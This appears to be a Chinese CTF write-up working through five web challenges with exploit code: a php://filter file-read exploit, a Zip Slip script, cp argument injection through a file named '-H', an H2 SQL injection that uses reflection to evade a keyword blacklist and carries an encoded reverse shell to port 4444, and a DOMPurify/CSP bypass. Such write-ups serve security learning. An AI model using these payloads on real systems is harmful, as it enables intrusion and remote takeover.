N1的2月题
看看2月题,一定要全部搞懂。
1.Gavatar:
看看签到题。
刚进入页面的登录没什么可以操作的,不是一个注入。关键在上传头像。

可以看到可以通过链接的方式上传头像。再看源码:
elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
这里发现一个没有任何过滤的file_get_contents函数,意味着可以通过这个函数进行本地任意文件读取。
在给出的源码中有一个readflag.go文件,我猜测我要使用命令去读取flag文件。
此时就需要将这个任意文件读取进一步形成任意命令执行。
这里看到一个cve:
有现成的脚本,需要自己手改。
修改remote类:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
self.session.post(self.url + '/login.php', data={'username': 'admin', 'password': 'admin'})
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url + '/upload.php', data={'url': path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
_ = self.send(path)
response = self.session.get(self.url + '/avatar.php', params={'user': 'admin'})
return base64.decode(response.text)
我自己用的时候报错了,应该是本地容器的配置问题。正常情况应该就能拿到shell了。
ps:为什么一开始就会去看源码中的upload.php文件呢?因为我下载源码的时候就这玩意被杀软杀了。。
2.traefik
直接先看源码:
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}
randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)
if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}
zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}
if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}
c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
})
r.Run(":8080")
可以看出来这是一个很明显的文件上传,并且没有任何的waf。
于是我一开始犯了一个根本性的错误:我进行了一句话木马的上传。
然而,因为这个函数是由go语言编写的,不具备php文件的理解能力,所以就算没有过滤,我的木马也没有办法被成功执行。
于是要用到另一个技巧:Zip Slip
生成恶意zip:
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.close()
except IOError as e:
raise e
上传的文件就是一个我们改写的配置文件,只要能访问到/flag就行:
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-x-forwarded-for
上传之后访问/flag拿到。

ps:据说是容器有问题,文件上传成功了但是win里还是拿不到。。
3.backup
这道题没容器也没源码,只能看看wp写了。。
看了一下wp,好像是用命令执行去执行一个后门文件(题目backup应该就是这个意思了)
这里拿到shell后需要进行提权,这道题的重心应该就是这个。
把backup.sh贴在这里:
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
通过cp将/var/www/html/primary软链接(-p参数)复制到/var/www/html/backup/,使用chmod赋予可读权限。
“*” 可以匹配当前目录下的所有文件
在cp命令的手册中,-H可以跟随命令符号链接,意味这我们可以获取真实的文件内容,而不仅仅是软链接
我们可以创建一个名为 -H的文件实现参数的注入
echo “”>”-H”
这个时候我们可以创建软链接指向/flag
这个时候cp命令会将真实的flag做备份并且实现可读权限的赋予
ln -s /flag ff
现在cp执行的命令实际上是
cp -P -H ff /var/www/html/backup/
等待15s后就可以访问flag。
4.easyDB
附件里面有个jar包,用jadx打开看看源码。(一直很讨厌这种,半天找不到主函数在哪)
可以看到有一段sql注入:
public boolean validateUser(String username, String password) throws SQLException {
String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
if (!SecurityUtils.check(query)) {
return false;
}
查看SecurityUtils函数,发现是一个黑名单:
static {
blackLists.add("runtime");
blackLists.add("process");
blackLists.add("exec");
blackLists.add("shell");
blackLists.add("file");
blackLists.add("script");
blackLists.add("groovy");
}
那么现在的思路应该是怎么绕过进行注入。
在pom.xml中可以看到数据库是h2,结合readflag这个文件可以得知要rce。
根据h2的特性,我们可以自定义函数并指定别名。
因此构造payload如下:
';CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('calc');--
因为禁用了exec,所以需要使用java反射进行绕过:
';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--
这样就可以顺利拿到shell了。
之后就进行读取即可。
5.dispaly
源码还是比较少的,很容易看。
通过bot这个东西很容易看出来这是一个xss,所有的关键代码在index.js中。
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
// Sanitize content using DOMPurify
function sanitizeContent(text) {
// Only allow <h1>, <h2>, tags and plain text
const config = {
ALLOWED_TAGS: ['h1', 'h2']
};
return DOMPurify.sanitize(text, config);
}
document.addEventListener("DOMContentLoaded", function() {
const textInput = document.getElementById('text-input');
const insertButton = document.getElementById('insert-btn');
const contentDisplay = document.getElementById('content-display');
const queryText = getQueryParam('text');
if (queryText) {
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));
if (sanitizedText.length > 0) {
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
insertButton.disabled = false;
} else {
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
});
app中有csp头:
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', csp);
next();
});
可以看到这里使用了白名单,只允许['h1', 'h2'],而不允许其他标签。
其实一个白名单就基本能防住了,但是后面代码乱搞使xss可以成功.
contentDisplay.innerHTML = textInput.innerText;
这就是漏洞的核心,这里发生了两件事:
textInput.innerText: 这是一个关键的属性。它会获取一个DOM元素被渲染后的纯文本内容。它会把所有的HTML标签都剥离掉。例如,如果textInput的内容是<h1>Hello <b>World</b></h1>,那么textInput.innerText返回的就是字符串”Hello World”。
contentDisplay.innerHTML = ...: 然后,代码将这个纯文本字符串,又一次当作HTML代码重新注入到了另一个元素contentDisplay中。
这个逻辑缺陷创造了一个“绕过净化”的机会:如果我们能构造一个输入,使得它经过DOMPurify净化后,其.innerText的内容恰好是一段恶意的HTML代码,那么当这段内容被重新赋给innerHTML时,XSS就会被触发。
这里实测下来虽然能成功上传,但是并不能被执行.
这是因为内容是动态放置在 <div> 内的,并且由于使用了innerHTML,因此脚本没有执行。这里主要的利用点在contentDisplay,通过将contentDisplay.innerHTML设置为一个正常的html标签,然后插入到DOM树中。
这里我们使用Iframe绕过绕过csp
现在就是CSP绕过了,script-src设置为了self。这个就是sekaictf 2024的熟悉操作了,这里直接利用404页面构造即可,还是那个操作,本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码,还是用fetch()函数
这里wp用反弹shell,可以看看
最后可以拿到flag.